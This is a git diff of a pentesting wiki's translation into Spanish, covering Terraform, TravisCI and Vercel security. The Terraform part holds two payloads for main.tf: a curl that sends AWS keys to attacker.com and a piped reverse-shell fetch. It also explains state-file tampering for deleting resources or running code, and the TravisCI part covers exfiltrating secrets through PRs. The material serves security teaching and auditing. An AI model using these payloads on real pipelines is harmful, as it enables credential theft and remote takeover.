[**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ +Solo necesitas asegurarte de que alguna carga útil como las siguientes termine en el archivo `main.tf`: ```json // Payload 1 to just steal a secret resource "null_resource" "secret_stealer" { - provisioner "local-exec" { - command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY" - } +provisioner "local-exec" { +command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY" +} } // Payload 2 to get a rev shell resource "null_resource" "rev_shell" { - provisioner "local-exec" { - command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" - } +provisioner "local-exec" { +command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" +} } ``` +Sigue las **sugerencias de la técnica anterior** para realizar este ataque de una **manera más sigilosa utilizando referencias externas**. -Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way using external references**. - -## Secrets Dumps - -You can have **secret values used by terraform dumped** running `terraform apply` by adding to the terraform file something like: +## Volcados de secretos +Puedes tener **valores secretos utilizados por terraform volcados** ejecutando `terraform apply` al agregar al archivo de terraform algo como: ```json output "dotoken" { - value = nonsensitive(var.do_token) +value = nonsensitive(var.do_token) } ``` - ## Abusing Terraform State Files -In case you have write access over terraform state files but cannot change the terraform code, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) gives some interesting options to take advantage of the file: +En caso de que tengas acceso de escritura sobre los archivos de estado de terraform pero no puedas cambiar el código de terraform, [**esta investigación**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) ofrece algunas opciones interesantes para aprovechar el archivo: ### Deleting resources -There are 2 ways to destroy resources: +Hay 2 formas de destruir recursos: -1. **Insert a resource with a random name into the state file pointing to the real resource to destroy** - -Because terraform will see that the resource shouldn't exit, it'll destroy it (following the real resource ID indicated). Example from the previous page: +1. **Insertar un recurso con un nombre aleatorio en el archivo de estado que apunte al recurso real a destruir** +Porque terraform verá que el recurso no debería existir, lo destruirá (siguiendo el ID del recurso real indicado). Ejemplo de la página anterior: ```json { - "mode": "managed", - "type": "aws_instance", - "name": "example", - "provider": "provider[\"registry.terraform.io/hashicorp/aws\"]", - "instances": [ - { - "attributes": { - "id": "i-1234567890abcdefg" - } - } - ] +"mode": "managed", +"type": "aws_instance", +"name": "example", +"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]", +"instances": [ +{ +"attributes": { +"id": "i-1234567890abcdefg" +} +} +] }, ``` +2. **Modificar el recurso para eliminar de manera que no sea posible actualizar (así será eliminado y recreado)** -2. **Modify the resource to delete in a way that it's not possible to update (so it'll be deleted a recreated)** - -For an EC2 instance, modifying the type of the instance is enough to make terraform delete a recreate it. +Para una instancia EC2, modificar el tipo de la instancia es suficiente para que terraform la elimine y la recree. ### RCE -It's also possible to [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) and just replace one of the providers in the terraform state file for the malicious one or add an empty resource with the malicious provider. Example from the original research: - +También es posible [crear un proveedor personalizado](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) y simplemente reemplazar uno de los proveedores en el archivo de estado de terraform por el malicioso o agregar un recurso vacío con el proveedor malicioso. Ejemplo de la investigación original: ```json "resources": [ { - "mode": "managed", - "type": "scaffolding_example", - "name": "example", - "provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]", - "instances": [ +"mode": "managed", +"type": "scaffolding_example", +"name": "example", +"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]", +"instances": [ - ] +] }, ``` +### Reemplazar proveedor en la lista negra -### Replace blacklisted provider - -In case you encounter a situation where `hashicorp/external` was blacklisted, you can re-implement the `external` provider by doing the following. Note: We use a fork of external provider published by https://registry.terraform.io/providers/nazarewk/external/latest. You can publish your own fork or re-implementation as well. - +En caso de que te encuentres en una situación donde `hashicorp/external` fue puesto en la lista negra, puedes re-implementar el proveedor `external` haciendo lo siguiente. Nota: Usamos un fork del proveedor external publicado por https://registry.terraform.io/providers/nazarewk/external/latest. También puedes publicar tu propio fork o re-implementación. ```terraform terraform { - required_providers { - external = { - source = "nazarewk/external" - version = "3.0.0" - } - } +required_providers { +external = { +source = "nazarewk/external" +version = "3.0.0" +} +} } ``` - -Then you can use `external` as per normal. - +Entonces puedes usar `external` como de costumbre. ```terraform data "external" "example" { - program = ["sh", "-c", "whoami"] +program = ["sh", "-c", "whoami"] } ``` - -## Automatic Audit Tools +## Herramientas de Auditoría Automáticas ### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/) -Snyk offers a comprehensive Infrastructure as Code (IaC) scanning solution that detects vulnerabilities and misconfigurations in Terraform, CloudFormation, Kubernetes, and other IaC formats. - -- **Features:** - - Real-time scanning for security vulnerabilities and compliance issues. - - Integration with version control systems (GitHub, GitLab, Bitbucket). - - Automated fix pull requests. - - Detailed remediation advice. -- **Sign Up:** Create an account on [Snyk](https://snyk.io/). +Snyk ofrece una solución integral de escaneo de Infrastructure as Code (IaC) que detecta vulnerabilidades y configuraciones incorrectas en Terraform, CloudFormation, Kubernetes y otros formatos de IaC. +- **Características:** +- Escaneo en tiempo real para vulnerabilidades de seguridad y problemas de cumplimiento. +- Integración con sistemas de control de versiones (GitHub, GitLab, Bitbucket). +- Solicitudes de extracción de corrección automatizadas. +- Consejos detallados de remediación. +- **Regístrate:** Crea una cuenta en [Snyk](https://snyk.io/). ```bash brew tap snyk/tap brew install snyk snyk auth snyk iac test /path/to/terraform/code ``` - ### [Checkov](https://github.com/bridgecrewio/checkov) -**Checkov** is a static code analysis tool for infrastructure as code (IaC) and also a software composition analysis (SCA) tool for images and open source packages. +**Checkov** es una herramienta de análisis de código estático para infraestructura como código (IaC) y también una herramienta de análisis de composición de software (SCA) para imágenes y paquetes de código abierto. -It scans cloud infrastructure provisioned using [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), or [OpenTofu](https://opentofu.org/) and detects security and compliance misconfigurations using graph-based scanning. - -It performs [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) which is a scan of open source packages and images for Common Vulnerabilities and Exposures (CVEs). +Escanea la infraestructura en la nube provisionada utilizando [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) o [OpenTofu](https://opentofu.org/) y detecta configuraciones incorrectas de seguridad y cumplimiento utilizando escaneo basado en gráficos. +Realiza [análisis de composición de software (SCA)](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) que es un escaneo de paquetes de código abierto e imágenes para Vulnerabilidades y Exposiciones Comunes (CVEs). ```bash pip install checkov checkov -d /path/to/folder ``` - ### [terraform-compliance](https://github.com/terraform-compliance/cli) -From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` is a lightweight, security and compliance focused test framework against terraform to enable negative testing capability for your infrastructure-as-code. +De los [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` es un marco de prueba ligero, enfocado en la seguridad y el cumplimiento, contra terraform para habilitar la capacidad de pruebas negativas para tu infraestructura como código. -- **compliance:** Ensure the implemented code is following security standards, your own custom standards -- **behaviour driven development:** We have BDD for nearly everything, why not for IaC ? -- **portable:** just install it from `pip` or run it via `docker`. See [Installation](https://terraform-compliance.com/pages/installation/) -- **pre-deploy:** it validates your code before it is deployed -- **easy to integrate:** it can run in your pipeline (or in git hooks) to ensure all deployments are validated. -- **segregation of duty:** you can keep your tests in a different repository where a separate team is responsible. +- **cumplimiento:** Asegúrate de que el código implementado siga los estándares de seguridad, tus propios estándares personalizados. +- **desarrollo guiado por comportamiento:** Tenemos BDD para casi todo, ¿por qué no para IaC? +- **portátil:** solo instálalo desde `pip` o ejecútalo a través de `docker`. Consulta [Instalación](https://terraform-compliance.com/pages/installation/) +- **pre-despliegue:** valida tu código antes de que se despliegue. +- **fácil de integrar:** puede ejecutarse en tu pipeline (o en ganchos de git) para asegurar que todos los despliegues sean validados. +- **segregación de deberes:** puedes mantener tus pruebas en un repositorio diferente donde un equipo separado sea responsable. > [!NOTE] -> Unfortunately if the code is using some providers you don't have access to you won't be able to perform the `terraform plan` and run this tool. - +> Desafortunadamente, si el código está utilizando algunos proveedores a los que no tienes acceso, no podrás realizar el `terraform plan` y ejecutar esta herramienta. ```bash pip install terraform-compliance terraform plan -out=plan.out terraform-compliance -f /path/to/folder ``` - ### [tfsec](https://github.com/aquasecurity/tfsec) -From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec uses static analysis of your terraform code to spot potential misconfigurations. - -- ☁️ Checks for misconfigurations across all major (and some minor) cloud providers -- ⛔ Hundreds of built-in rules -- 🪆 Scans modules (local and remote) -- ➕ Evaluates HCL expressions as well as literal values -- ↪️ Evaluates Terraform functions e.g. `concat()` -- 🔗 Evaluates relationships between Terraform resources -- 🧰 Compatible with the Terraform CDK -- 🙅 Applies (and embellishes) user-defined Rego policies -- 📃 Supports multiple output formats: lovely (default), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif. -- 🛠️ Configurable (via CLI flags and/or config file) -- ⚡ Very fast, capable of quickly scanning huge repositories +De la [**documentación**](https://github.com/aquasecurity/tfsec): tfsec utiliza análisis estático de tu código de terraform para detectar posibles configuraciones incorrectas. +- ☁️ Verifica configuraciones incorrectas en todos los principales (y algunos menores) proveedores de nube +- ⛔ Cientos de reglas integradas +- 🪆 Escanea módulos (locales y remotos) +- ➕ Evalúa expresiones HCL así como valores literales +- ↪️ Evalúa funciones de Terraform, por ejemplo, `concat()` +- 🔗 Evalúa relaciones entre recursos de Terraform +- 🧰 Compatible con el CDK de Terraform +- 🙅 Aplica (y embellece) políticas de Rego definidas por el usuario +- 📃 Soporta múltiples formatos de salida: lovely (predeterminado), JSON, SARIF, CSV, CheckStyle, JUnit, texto, Gif. +- 🛠️ Configurable (a través de flags de CLI y/o archivo de configuración) +- ⚡ Muy rápido, capaz de escanear rápidamente grandes repositorios ```bash brew install tfsec tfsec /path/to/folder ``` - ### [KICKS](https://github.com/Checkmarx/kics) -Find security vulnerabilities, compliance issues, and infrastructure misconfigurations early in the development cycle of your infrastructure-as-code with **KICS** by Checkmarx. - -**KICS** stands for **K**eeping **I**nfrastructure as **C**ode **S**ecure, it is open source and is a must-have for any cloud native project. +Encuentra vulnerabilidades de seguridad, problemas de cumplimiento y configuraciones incorrectas de infraestructura temprano en el ciclo de desarrollo de tu infraestructura como código con **KICS** de Checkmarx. +**KICS** significa **K**eeping **I**nfrastructure as **C**ode **S**ecure, es de código abierto y es imprescindible para cualquier proyecto nativo de la nube. ```bash docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/" ``` - ### [Terrascan](https://github.com/tenable/terrascan) -From the [**docs**](https://github.com/tenable/terrascan): Terrascan is a static code analyzer for Infrastructure as Code. Terrascan allows you to: - -- Seamlessly scan infrastructure as code for misconfigurations. -- Monitor provisioned cloud infrastructure for configuration changes that introduce posture drift, and enables reverting to a secure posture. -- Detect security vulnerabilities and compliance violations. -- Mitigate risks before provisioning cloud native infrastructure. -- Offers flexibility to run locally or integrate with your CI\CD. +De la [**documentación**](https://github.com/tenable/terrascan): Terrascan es un analizador de código estático para Infraestructura como Código. Terrascan te permite: +- Escanear sin problemas la infraestructura como código en busca de configuraciones incorrectas. +- Monitorear la infraestructura en la nube provisionada para cambios de configuración que introduzcan desviaciones de postura, y permite revertir a una postura segura. +- Detectar vulnerabilidades de seguridad y violaciones de cumplimiento. +- Mitigar riesgos antes de provisionar infraestructura nativa de la nube. +- Ofrecer flexibilidad para ejecutarse localmente o integrarse con tu CI\CD. ```bash brew install terrascan ``` - -## References +## Referencias - [Atlantis Security](atlantis-security.md) - [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce) @@ -310,7 +280,3 @@ brew install terrascan - [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/todo.md b/src/pentesting-ci-cd/todo.md index 63a3bb5c8..2a5283951 100644 --- a/src/pentesting-ci-cd/todo.md +++ b/src/pentesting-ci-cd/todo.md @@ -2,7 +2,7 @@ {{#include ../banners/hacktricks-training.md}} -Github PRs are welcome explaining how to (ab)use those platforms from an attacker perspective +Se aceptan PRs de Github que expliquen cómo (ab)usar esas plataformas desde la perspectiva de un atacante - Drone - TeamCity @@ -11,10 +11,6 @@ Github PRs are welcome explaining how to (ab)use those platforms from an attacke - Rancher - Mesosphere - Radicle -- Any other CI/CD platform... +- Cualquier otra plataforma CI/CD... {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/travisci-security/README.md b/src/pentesting-ci-cd/travisci-security/README.md index cff623392..34bdb9892 100644 --- a/src/pentesting-ci-cd/travisci-security/README.md +++ b/src/pentesting-ci-cd/travisci-security/README.md @@ -2,68 +2,64 @@ {{#include ../../banners/hacktricks-training.md}} -## What is TravisCI +## Qué es TravisCI -**Travis CI** is a **hosted** or on **premises** **continuous integration** service used to build and test software projects hosted on several **different git platform**. +**Travis CI** es un servicio de **integración continua** **alojado** o en **local** utilizado para construir y probar proyectos de software alojados en varias **plataformas git diferentes**. {{#ref}} basic-travisci-information.md {{#endref}} -## Attacks +## Ataques -### Triggers +### Disparadores -To launch an attack you first need to know how to trigger a build. By default TravisCI will **trigger a build on pushes and pull requests**: +Para lanzar un ataque primero necesitas saber cómo disparar una construcción. Por defecto, TravisCI **disparará una construcción en los pushes y pull requests**: ![](<../../images/image (145).png>) -#### Cron Jobs +#### Trabajos Cron -If you have access to the web application you can **set crons to run the build**, this could be useful for persistence or to trigger a build: +Si tienes acceso a la aplicación web, puedes **configurar trabajos cron para ejecutar la construcción**, esto podría ser útil para persistencia o para disparar una construcción: ![](<../../images/image (243).png>) > [!NOTE] -> It looks like It's not possible to set crons inside the `.travis.yml` according to [this](https://github.com/travis-ci/travis-ci/issues/9162). +> Parece que no es posible configurar trabajos cron dentro del `.travis.yml` según [esto](https://github.com/travis-ci/travis-ci/issues/9162). -### Third Party PR +### PR de Terceros -TravisCI by default disables sharing env variables with PRs coming from third parties, but someone might enable it and then you could create PRs to the repo and exfiltrate the secrets: +TravisCI, por defecto, desactiva el compartir variables de entorno con PRs provenientes de terceros, pero alguien podría habilitarlo y entonces podrías crear PRs al repositorio y exfiltrar los secretos: ![](<../../images/image (208).png>) -### Dumping Secrets +### Volcado de Secretos -As explained in the [**basic information**](basic-travisci-information.md) page, there are 2 types of secrets. **Environment Variables secrets** (which are listed in the web page) and **custom encrypted secrets**, which are stored inside the `.travis.yml` file as base64 (note that both as stored encrypted will end as env variables in the final machines). +Como se explica en la página de [**información básica**](basic-travisci-information.md), hay 2 tipos de secretos. **Secretos de Variables de Entorno** (que están listados en la página web) y **secretos personalizados cifrados**, que se almacenan dentro del archivo `.travis.yml` como base64 (ten en cuenta que ambos, al ser almacenados cifrados, terminarán como variables de entorno en las máquinas finales). -- To **enumerate secrets** configured as **Environment Variables** go to the **settings** of the **project** and check the list. However, note that all the project env variables set here will appear when triggering a build. -- To enumerate the **custom encrypted secrets** the best you can do is to **check the `.travis.yml` file**. -- To **enumerate encrypted files** you can check for **`.enc` files** in the repo, for lines similar to `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` in the config file, or for **encrypted iv and keys** in the **Environment Variables** such as: +- Para **enumerar secretos** configurados como **Variables de Entorno**, ve a la **configuración** del **proyecto** y revisa la lista. Sin embargo, ten en cuenta que todas las variables de entorno del proyecto configuradas aquí aparecerán al disparar una construcción. +- Para enumerar los **secretos personalizados cifrados**, lo mejor que puedes hacer es **revisar el archivo `.travis.yml`**. +- Para **enumerar archivos cifrados**, puedes buscar archivos **`.enc`** en el repositorio, por líneas similares a `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` en el archivo de configuración, o por **iv y claves cifradas** en las **Variables de Entorno** como: ![](<../../images/image (81).png>) ### TODO: -- Example build with reverse shell running on Windows/Mac/Linux -- Example build leaking the env base64 encoded in the logs +- Ejemplo de construcción con shell reverso ejecutándose en Windows/Mac/Linux +- Ejemplo de construcción filtrando la env codificada en base64 en los logs ### TravisCI Enterprise -If an attacker ends in an environment which uses **TravisCI enterprise** (more info about what this is in the [**basic information**](basic-travisci-information.md#travisci-enterprise)), he will be able to **trigger builds in the the Worker.** This means that an attacker will be able to move laterally to that server from which he could be able to: +Si un atacante termina en un entorno que utiliza **TravisCI enterprise** (más información sobre qué es esto en la [**información básica**](basic-travisci-information.md#travisci-enterprise)), podrá **disparar construcciones en el Worker.** Esto significa que un atacante podrá moverse lateralmente a ese servidor desde el cual podría ser capaz de: -- escape to the host? -- compromise kubernetes? -- compromise other machines running in the same network? -- compromise new cloud credentials? +- ¿escapar al host? +- ¿comprometer kubernetes? +- ¿comprometer otras máquinas que se ejecutan en la misma red? +- ¿comprometer nuevas credenciales en la nube? -## References +## Referencias - [https://docs.travis-ci.com/user/encrypting-files/](https://docs.travis-ci.com/user/encrypting-files/) - [https://docs.travis-ci.com/user/best-practices-security](https://docs.travis-ci.com/user/best-practices-security) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md index 46b10bf38..0a8bbe55a 100644 --- a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md +++ b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md @@ -1,48 +1,45 @@ -# Basic TravisCI Information +# Información Básica de TravisCI {{#include ../../banners/hacktricks-training.md}} -## Access +## Acceso -TravisCI directly integrates with different git platforms such as Github, Bitbucket, Assembla, and Gitlab. It will ask the user to give TravisCI permissions to access the repos he wants to integrate with TravisCI. +TravisCI se integra directamente con diferentes plataformas de git como Github, Bitbucket, Assembla y Gitlab. Pedirá al usuario que le otorgue a TravisCI permisos para acceder a los repos que desea integrar con TravisCI. -For example, in Github it will ask for the following permissions: +Por ejemplo, en Github pedirá los siguientes permisos: -- `user:email` (read-only) -- `read:org` (read-only) -- `repo`: Grants read and write access to code, commit statuses, collaborators, and deployment statuses for public and private repositories and organizations. +- `user:email` (solo lectura) +- `read:org` (solo lectura) +- `repo`: Concede acceso de lectura y escritura al código, estados de confirmación, colaboradores y estados de implementación para repositorios y organizaciones públicas y privadas. -## Encrypted Secrets +## Secretos Encriptados -### Environment Variables +### Variables de Entorno -In TravisCI, as in other CI platforms, it's possible to **save at repo level secrets** that will be saved encrypted and be **decrypted and push in the environment variable** of the machine executing the build. +En TravisCI, al igual que en otras plataformas de CI, es posible **guardar secretos a nivel de repositorio** que se guardarán encriptados y serán **desencriptados y enviados en la variable de entorno** de la máquina que ejecuta la construcción. ![](<../../images/image (203).png>) -It's possible to indicate the **branches to which the secrets are going to be available** (by default all) and also if TravisCI **should hide its value** if it appears **in the logs** (by default it will). +Es posible indicar las **ramas a las que los secretos estarán disponibles** (por defecto todas) y también si TravisCI **debería ocultar su valor** si aparece **en los registros** (por defecto lo hará). -### Custom Encrypted Secrets +### Secretos Encriptados Personalizados -For **each repo** TravisCI generates an **RSA keypair**, **keeps** the **private** one, and makes the repository’s **public key available** to those who have **access** to the repository. - -You can access the public key of one repo with: +Para **cada repositorio**, TravisCI genera un **par de claves RSA**, **mantiene** la **privada**, y hace disponible la **clave pública** del repositorio a aquellos que tienen **acceso** al repositorio. +Puedes acceder a la clave pública de un repositorio con: ``` travis pubkey -r / travis pubkey -r carlospolop/t-ci-test ``` - -Then, you can use this setup to **encrypt secrets and add them to your `.travis.yaml`**. The secrets will be **decrypted when the build is run** and accessible in the **environment variables**. +Luego, puedes usar esta configuración para **encriptar secretos y agregarlos a tu `.travis.yaml`**. Los secretos serán **desencriptados cuando se ejecute la construcción** y accesibles en las **variables de entorno**. ![](<../../images/image (139).png>) -Note that the secrets encrypted this way won't appear listed in the environmental variables of the settings. +Ten en cuenta que los secretos encriptados de esta manera no aparecerán listados en las variables de entorno de la configuración. -### Custom Encrypted Files - -Same way as before, TravisCI also allows to **encrypt files and then decrypt them during the build**: +### Archivos Encriptados Personalizados +De la misma manera que antes, TravisCI también permite **encriptar archivos y luego desencriptarlos durante la construcción**: ``` travis encrypt-file super_secret.txt -r carlospolop/t-ci-test @@ -52,7 +49,7 @@ storing secure env variables for decryption Please add the following to your build script (before_install stage in your .travis.yml, for instance): - openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d +openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d Pro Tip: You can add it automatically by running with --add. @@ -60,37 +57,32 @@ Make sure to add super_secret.txt.enc to the git repository. Make sure not to add super_secret.txt to the git repository. Commit all changes to your .travis.yml. ``` - -Note that when encrypting a file 2 Env Variables will be configured inside the repo such as: +Note que al encriptar un archivo, se configurarán 2 variables de entorno dentro del repositorio, tales como: ![](<../../images/image (170).png>) ## TravisCI Enterprise -Travis CI Enterprise is an **on-prem version of Travis CI**, which you can deploy **in your infrastructure**. Think of the ‘server’ version of Travis CI. Using Travis CI allows you to enable an easy-to-use Continuous Integration/Continuous Deployment (CI/CD) system in an environment, which you can configure and secure as you want to. +Travis CI Enterprise es una **versión on-prem de Travis CI**, que puedes desplegar **en tu infraestructura**. Piensa en la versión ‘servidor’ de Travis CI. Usar Travis CI te permite habilitar un sistema de Integración Continua/Despliegue Continuo (CI/CD) fácil de usar en un entorno, que puedes configurar y asegurar como desees. -**Travis CI Enterprise consists of two major parts:** +**Travis CI Enterprise consta de dos partes principales:** -1. TCI **services** (or TCI Core Services), responsible for integration with version control systems, authorizing builds, scheduling build jobs, etc. -2. TCI **Worker** and build environment images (also called OS images). +1. Servicios TCI **(o Servicios Centrales TCI)**, responsables de la integración con sistemas de control de versiones, autorización de compilaciones, programación de trabajos de compilación, etc. +2. TCI **Worker** e imágenes de entorno de compilación (también llamadas imágenes de SO). -**TCI Core services require the following:** +**Los servicios centrales TCI requieren lo siguiente:** -1. A **PostgreSQL11** (or later) database. -2. An infrastructure to deploy a Kubernetes cluster; it can be deployed in a server cluster or in a single machine if required -3. Depending on your setup, you may want to deploy and configure some of the components on your own, e.g., RabbitMQ - see the [Setting up Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) for more details. +1. Una base de datos **PostgreSQL11** (o posterior). +2. Una infraestructura para desplegar un clúster de Kubernetes; puede ser desplegado en un clúster de servidores o en una sola máquina si es necesario. +3. Dependiendo de tu configuración, es posible que desees desplegar y configurar algunos de los componentes por tu cuenta, por ejemplo, RabbitMQ - consulta la [Configuración de Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) para más detalles. -**TCI Worker requires the following:** +**El Worker TCI requiere lo siguiente:** -1. An infrastructure where a docker image containing the **Worker and a linked build image can be deployed**. -2. Connectivity to certain Travis CI Core Services components - see the [Setting Up Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) for more details. +1. Una infraestructura donde se pueda desplegar una imagen de docker que contenga el **Worker y una imagen de compilación vinculada**. +2. Conectividad a ciertos componentes de los Servicios Centrales de Travis CI - consulta la [Configuración del Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) para más detalles. -The amount of deployed TCI Worker and build environment OS images will determine the total concurrent capacity of Travis CI Enterprise deployment in your infrastructure. +La cantidad de imágenes de OS de Worker TCI y de entorno de compilación desplegadas determinará la capacidad total concurrente del despliegue de Travis CI Enterprise en tu infraestructura. ![](<../../images/image (199).png>) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/vercel-security.md b/src/pentesting-ci-cd/vercel-security.md index 16dc93da7..73fe7f0c6 100644 --- a/src/pentesting-ci-cd/vercel-security.md +++ b/src/pentesting-ci-cd/vercel-security.md @@ -2,440 +2,436 @@ {{#include ../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -In Vercel a **Team** is the complete **environment** that belongs a client and a **project** is an **application**. +En Vercel, un **Equipo** es el **entorno** completo que pertenece a un cliente y un **proyecto** es una **aplicación**. -For a hardening review of **Vercel** you need to ask for a user with **Viewer role permission** or at least **Project viewer permission over the projects** to check (in case you only need to check the projects and not the Team configuration also). +Para una revisión de endurecimiento de **Vercel**, necesitas solicitar un usuario con **permiso de rol de Visualizador** o al menos **permiso de visualizador de proyecto sobre los proyectos** para verificar (en caso de que solo necesites revisar los proyectos y no la configuración del Equipo también). -## Project Settings +## Configuraciones del Proyecto ### General -**Purpose:** Manage fundamental project settings such as project name, framework, and build configurations. +**Propósito:** Administrar configuraciones fundamentales del proyecto, como el nombre del proyecto, el marco y las configuraciones de construcción. -#### Security Configurations: +#### Configuraciones de Seguridad: -- **Transfer** - - **Misconfiguration:** Allows to transfer the project to another team - - **Risk:** An attacker could steal the project -- **Delete Project** - - **Misconfiguration:** Allows to delete the project - - **Risk:** Delete the prject +- **Transferencia** +- **Mala Configuración:** Permite transferir el proyecto a otro equipo +- **Riesgo:** Un atacante podría robar el proyecto +- **Eliminar Proyecto** +- **Mala Configuración:** Permite eliminar el proyecto +- **Riesgo:** Eliminar el proyecto --- -### Domains +### Dominios -**Purpose:** Manage custom domains, DNS settings, and SSL configurations. +**Propósito:** Administrar dominios personalizados, configuraciones de DNS y configuraciones de SSL. -#### Security Configurations: +#### Configuraciones de Seguridad: -- **DNS Configuration Errors** - - **Misconfiguration:** Incorrect DNS records (A, CNAME) pointing to malicious servers. - - **Risk:** Domain hijacking, traffic interception, and phishing attacks. -- **SSL/TLS Certificate Management** - - **Misconfiguration:** Using weak or expired SSL/TLS certificates. - - **Risk:** Vulnerable to man-in-the-middle (MITM) attacks, compromising data integrity and confidentiality. -- **DNSSEC Implementation** - - **Misconfiguration:** Failing to enable DNSSEC or incorrect DNSSEC settings. - - **Risk:** Increased susceptibility to DNS spoofing and cache poisoning attacks. -- **Environment used per domain** - - **Misconfiguration:** Change the environment used by the domain in production. - - **Risk:** Expose potential secrets or functionalities taht shouldn't be available in production. +- **Errores de Configuración de DNS** +- **Mala Configuración:** Registros DNS incorrectos (A, CNAME) apuntando a servidores maliciosos. +- **Riesgo:** Secuestro de dominio, interceptación de tráfico y ataques de phishing. +- **Gestión de Certificados SSL/TLS** +- **Mala Configuración:** Uso de certificados SSL/TLS débiles o caducados. +- **Riesgo:** Vulnerable a ataques de hombre en el medio (MITM), comprometiendo la integridad y confidencialidad de los datos. +- **Implementación de DNSSEC** +- **Mala Configuración:** No habilitar DNSSEC o configuraciones incorrectas de DNSSEC. +- **Riesgo:** Mayor susceptibilidad a ataques de suplantación de DNS y envenenamiento de caché. +- **Entorno utilizado por dominio** +- **Mala Configuración:** Cambiar el entorno utilizado por el dominio en producción. +- **Riesgo:** Exponer secretos o funcionalidades potenciales que no deberían estar disponibles en producción. --- -### Environments +### Entornos -**Purpose:** Define different environments (Development, Preview, Production) with specific settings and variables. +**Propósito:** Definir diferentes entornos 